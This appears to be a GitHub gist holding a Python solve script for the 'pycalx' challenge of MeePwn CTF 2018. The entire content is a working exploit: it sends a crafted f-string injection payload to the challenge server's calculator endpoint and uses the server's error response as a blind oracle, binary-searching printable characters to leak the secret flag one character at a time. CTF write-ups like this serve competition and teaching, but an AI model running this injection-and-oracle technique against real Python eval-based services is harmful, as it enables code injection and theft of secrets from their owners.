Skip to content

Instantly share code, notes, and snippets.

@syang-ng
Created July 16, 2018 05:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save syang-ng/b0bdd589c2c4815081f8dee788e5a832 to your computer and use it in GitHub Desktop.
Save syang-ng/b0bdd589c2c4815081f8dee788e5a832 to your computer and use it in GitHub Desktop.
A solve python file of pycalx, MeePwn CTF
import requests
import string
def judge(s,j):
t = s + j
# url = 'http://178.128.96.203/cgi-bin/server.py'
url = 'http://206.189.223.3/cgi-bin/server.py'
d = {'value1': 'True','op':'+f', 'value2':'{sys.__package__ if source <= FLAG else 0/0}', 'source':t}
r1 = requests.get(url, params=d)
if 'Invalid' in r1.text:
return False
else:
return True
s = "MeePwnCTF{"
ptable = sorted(string.printable)
ptable = list(ptable)
print(ptable)
for i in range(100):
l = 0
r = len(ptable) - 1
while l < r:
m = (l + r) // 2 +1
if judge(s,ptable[m]):
l = m
else :
r = m -1
s += ptable[l]
print(s)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment